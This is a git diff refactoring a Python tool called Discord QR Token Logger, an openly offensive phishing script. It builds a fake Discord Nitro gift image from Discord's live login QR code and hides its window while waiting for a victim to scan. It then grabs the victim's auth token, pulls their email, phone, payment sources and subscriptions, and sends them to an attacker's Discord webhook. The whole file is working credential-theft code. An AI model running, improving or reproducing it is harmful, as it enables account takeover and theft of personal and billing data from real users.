diff --git a/Discord-QR-Token-Logger.py b/Discord-QR-Token-Logger.py index 23fc7dc..a228ed8 100644 --- a/Discord-QR-Token-Logger.py +++ b/Discord-QR-Token-Logger.py @@ -1,81 +1,149 @@ -import base64, os, re, time, sys, ctypes, time -from requests import get -from bs4 import BeautifulSoup -from PIL import Image -from selenium import webdriver -from selenium.webdriver.chrome.service import Service -from discord_webhook import DiscordEmbed, DiscordWebhook -from pystyle import System, Center, Colorate, Colors, Box, Write -from utilities import pystray_img, banner -from pystray import Menu, MenuItem, Icon -from io import BytesIO -from threading import Thread -from tempfile import TemporaryDirectory, NamedTemporaryFile +""" +Discord QR Token Logger +----------------------- +Generates a Discord Nitro bait image with a QR code that will prompt a user to login. +If the user logs in, their authentication token will be displayed to the console. +Optionally, the user's authentication token may also be sent to a Discord channel via a webhook. -def generate_qr(path_1, path_2) -> None: - qr_img = Image.open(path_1, "r") - ovly_img = Image.open(os.path.join(os.getcwd(), 'resources', 'overlay.png'), "r") +LICENSE: GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 + +CREDITS +Lemon.-_-.#3714 +Luci (9P9) +the-cult-of-integral +mte0 +""" + +import base64 +import ctypes +import os +import re +import time +from io import BytesIO +from tempfile import NamedTemporaryFile, TemporaryDirectory +from threading import Thread + +from bs4 import BeautifulSoup +from discord_webhook import DiscordEmbed, DiscordWebhook +from PIL import Image +from pystray import Icon, Menu, MenuItem +from pystyle import Box, Center, Colorate, Colors, System, Write +from requests import get +from selenium import webdriver +from selenium.common.exceptions import WebDriverException +from selenium.webdriver.chrome.service import Service +from selenium.webdriver.common.by import By +from selenium.webdriver.support import expected_conditions as EC +from selenium.webdriver.support.ui import WebDriverWait + +from utilities import banner, pystray_img + +YES = 'y' +NO = 'n' +SLEEP_TIME = 3 + + +def generate_qr_code(path_1: str, path_2: str) -> None: + """Generates a QR code using the files in the resources directory. + \nThis QR code will be placed upon a Discord Nitro template to form a full bait image. + """ + qr_img = Image.open(path_1, 'r') + ovly_img = Image.open(os.path.join(os.getcwd(), 'resources', 'overlay.png'), 'r') qr_img.paste(ovly_img, (60, 55)) qr_img.save(path_2, quality=95) -def generate_nitro_template(path_2) -> None: - nitro_template = Image.open(os.path.join(os.getcwd(), 'resources', 'template.png'), "r") - nitro_template.paste(Image.open(path_2, "r"), (120, 409)) - nitro_template.save("discord_gift.png", quality=95) -def get_user_data(tk): +def generate_nitro_template(path_2: str) -> None: + """Generates a Discord Nitro template using the files in the resources directory. + \nThis template will be used to form a full bait image after a QR code pasted on it. + """ + nitro_template = Image.open(os.path.join(os.getcwd(), 'resources', 'template.png'), 'r') + nitro_template.paste(Image.open(path_2, 'r'), (120, 409)) + nitro_template.save('discord_gift.png', quality=95) + + +def get_user_std_data(token: str) -> list | None: + """Gets a user's standard data from the Discord API via their authentication token. + """ try: - headers = {'Authorization': tk} + headers = {'Authorization': token} response = get('https://discordapp.com/api/v6/users/@me', headers=headers).json() return [response['username'], response['discriminator'], response['email'], response['phone']] except: return None -def get_discord_info(tk, link_int): - headers = {'Authorization': tk} + +def get_user_billing_data(token: str, link_int: int) -> dict: + """Gets a user's billing data from the Discord API via their authentication token. + """ + headers = {'Authorization': token} if link_int == 1: - response = get('https://discordapp.com/api/v6/users/@me/billing/payment-sources', headers=headers).json() + response_json = get('https://discordapp.com/api/v6/users/@me/billing/payment-sources', headers=headers).json() elif link_int == 2: - response = get('https://discordapp.com/api/v9/users/@me/billing/subscriptions', headers=headers).json() - return response - -def main(webhook_url) -> None: - Write.Print("\n\n[!] Generating Qr-Code...", Colors.red_to_purple) + response_json = get('https://discordapp.com/api/v9/users/@me/billing/subscriptions', headers=headers).json() + return response_json + + +def main(webhook_url: str) -> None: + """The main function of the program. + \nProgram by Lemon.-_-.#3714, Luci (9P9), the-cult-of-integral and mte0 + """ + Write.Print('\n\n[!] Generating QR code...', Colors.red_to_purple) opts = webdriver.ChromeOptions() - try: - opts.headless = True - except: - opts.add_argument('--headless') - opts.add_experimental_option("detach", True) + opts.add_argument('--headless') + opts.add_experimental_option('detach', True) opts.add_experimental_option('excludeSwitches', ['enable-logging']) opts.add_argument('--log-level 3') - from webdriver_manager.chrome import ChromeDriverManager # Importing the module here because it has conflict with pystyle. + + # This module conflicts with PyStyle; importing here prevents this issue. + from webdriver_manager.chrome import ChromeDriverManager + os.environ['WDM_LOG_LEVEL'] = '0' - main.driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()), options=opts) - main.driver.get("https://discord.com/login") - time.sleep(5) - source = BeautifulSoup(main.driver.page_source, features="lxml") - if not (div := re.search(r"qrCode-......", str(source))): - print(Write.Print("\n[!] QR Code is not found, please retry or contact us !'", Colors.red_to_yellow)) - sys.exit() + + try: + main.driver = webdriver.Chrome( + service=Service(ChromeDriverManager().install()), + options=opts) + except WebDriverException: + raise SystemExit + + main.driver.implicitly_wait(5) + main.driver.get('https://discord.com/login') + + WebDriverWait(main.driver, 10).until( + EC.presence_of_element_located(( + By.XPATH, "//input[@type='submit']"))) + + source = BeautifulSoup(main.driver.page_source, features='lxml') + + if not (div := re.search(r'qrCode-......', str(source))): + print(Write.Print( + '\n[!] The Discord login QR code was not found - please retry or contact us !', + Colors.red_to_yellow)) + raise SystemExit + div = div.group(0) - div = source.find("div", {"class": f"{div}"}) - qr_code = div.find("img")["src"] - source = BeautifulSoup(main.driver.page_source, features="lxml") - div = source.find("div", {"class": "qrCode"}) + div = source.find('div', {"class": f"{div}"}) + qr_code = div.find('img')['src'] + source = BeautifulSoup(main.driver.page_source, features='lxml') + div = source.find('div', {"class": "qrCode"}) + discord_login = main.driver.current_url + with TemporaryDirectory(dir='.') as td: with NamedTemporaryFile(dir=td, suffix='.png') as tp1: tp1.write(base64.b64decode(qr_code.replace('data:image/png;base64,', ''))) - Write.Print("\n[!] Generating QR-Code template...", Colors.red_to_purple) + Write.Print('\n[!] Generating template for QR code...', Colors.red_to_purple) with NamedTemporaryFile(dir=td, suffix='.png') as tp2: - generate_qr(tp1, tp2) - Write.Print("\n[!] Generating QR-Code Nitro template...", Colors.red_to_purple) + generate_qr_code(tp1, tp2) + Write.Print('\n[!] Generating Discord Nitro template for QR code...', Colors.red_to_purple) generate_nitro_template(tp2) - Write.Print("\n[#] Waiting for target...", Colors.red_to_purple) - pystray_icon.icon.notify("Script currently being hided until target grabbed.", 'Waiting for target') - time.sleep(3) + + Write.Print('\n[#] Waiting for target to login using the QR code...', Colors.red_to_purple) + pystray_icon.icon.notify("This script has been set to hide until the target's token is grabbed.", 'Waiting for target') + time.sleep(SLEEP_TIME) ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0) + while True: if discord_login != main.driver.current_url: try: @@ -92,18 +160,20 @@ def main(webhook_url) -> None: return token; ''') break + main.driver.quit() - pystray_icon.icon.notify("The traget scanned the QR-code sucessfuly.", 'New Victim !') - time.sleep(3) + pystray_icon.icon.notify("The target scanned the QR-code sucessfuly.", 'New Victim !') + time.sleep(SLEEP_TIME) ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 5) - Write.Print(f"\n\n[?] Token grabbed: {token}", Colors.rainbow) - if webhook_url != None: - Write.Print("\n\n[!] Fetching token data...", Colors.red_to_purple) + Write.Print(f"\n\n[?] The following token has been grabbed: {token}", Colors.rainbow) + + if webhook_url is not None: + Write.Print("\n\n[!] Fetching token data for Discord Webhook...", Colors.red_to_purple) webhook = DiscordWebhook(url=webhook_url, username='QR-Dtg', avatar_url="https://i.postimg.cc/qRHbRP2g/discord-avatar.png") embed = DiscordEmbed(color='88c800') - if re.search(r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", token) != None: - userdata, user_billings, user_subs = get_user_data(token), get_discord_info(token, 1), get_discord_info(token, 2) - if userdata != None: + if re.search(r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", token) is not None: + userdata, user_billings, user_subs = get_user_std_data(token), get_user_billing_data(token, 1), get_user_billing_data(token, 2) + if userdata is not None: embed.add_embed_field(name='User Token Info', value=f":crown:`Username:` **{userdata[0]}#{userdata[1]}**\n:e_mail:`Mail:` **{userdata[2]}**\n:mobile_phone:`Phone:` **{userdata[3]}**\n:money_with_wings:`Nitro:` **{':white_check_mark:' if bool(user_subs) else ':x:'}**", inline=False) if bool(user_billings): for data in user_billings: @@ -122,18 +192,16 @@ def main(webhook_url) -> None: embed.add_embed_field(name='Token', value=f"```yaml\n{token}\n```", inline=False) webhook.add_embed(embed) embed.set_footer(text='By Lemon.-_-.#3714, Luci (9P9), the-cult-of-integral and mte0', inline=False) - Write.Print("\n[!] Sending data to discord webhook...", Colors.red_to_purple) + Write.Print("\n[!] Sending token data to the Discord Webhook...", Colors.red_to_purple) webhook.execute() + Write.Input('\n\n[*] Press ENTER to quit.', Colors.blue_to_green) - + + if __name__ == "__main__": - System.Title('QR DISCORD LOGIN - By Lemon.-_-.#3714, Luci (9P9), the-cult-of-integral and mte0') - System.Size(140, 35) - print(Colorate.Horizontal(Colors.cyan_to_green, Center.XCenter(banner), 1)) - print(Colorate.Horizontal(Colors.rainbow, Center.GroupAlign(Box.DoubleCube("By Lemon.-_-.#3714, Luci (9P9), the-cult-of-integral and mte0")), 1)) - print(Colorate.Horizontal(Colors.rainbow, Box.Lines("https://github.com/9P9/Discord-QR-Token-Logger").replace('ቐ', "$"), 1), "\n") + def pystray_icon(): - def window_state(icon, item): + def window_state(_, item): if str(item) == 'Show': return ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 5) elif str(item) == 'Hide': @@ -144,7 +212,7 @@ if __name__ == "__main__": main.driver.quit() except: pass - os._exit(0) + raise SystemExit pystray_icon.icon = Icon('QR_DTG', Image.open(BytesIO(base64.b64decode(pystray_img))), menu=Menu( MenuItem('Show', window_state), @@ -152,17 +220,27 @@ if __name__ == "__main__": MenuItem('Quit', window_state) )) pystray_icon.icon.run() - confir = Write.Input("[*] Do you want to use a webhook url ? [y/n] -> ", Colors.green_to_cyan, interval=0.01) - if confir == 'y': + + System.Title('QR DISCORD LOGIN - By Lemon.-_-.#3714, Luci (9P9), the-cult-of-integral and mte0') + System.Size(140, 35) + + print(Colorate.Horizontal(Colors.cyan_to_green, Center.XCenter(banner), 1)) + print(Colorate.Horizontal(Colors.rainbow, Center.GroupAlign(Box.DoubleCube("By Lemon.-_-.#3714, Luci (9P9), the-cult-of-integral and mte0")), 1)) + print(Colorate.Horizontal(Colors.rainbow, Box.Lines("https://github.com/9P9/Discord-QR-Token-Logger").replace('ቐ', "$"), 1), "\n") + + confir = Write.Input("[*] Do you want to use a Discord Webhook URL ? [y/n] -> ", Colors.green_to_cyan, interval=0.01) + if confir == YES or YES.upper(): th_main = Thread(target=main, args=(Write.Input("\n[*] Enter your webhook url -> ", Colors.green_to_cyan, interval=0.01),)) - elif confir == 'n': + elif confir == NO or NO.upper(): th_main = Thread(target=main, args=(None,)) else: - os._exit(0) + raise SystemExit + Thread(target=pystray_icon).start() th_main.start() + while True: if not th_main.is_alive(): pystray_icon.icon.stop() break - time.sleep(1) + time.sleep(SLEEP_TIME)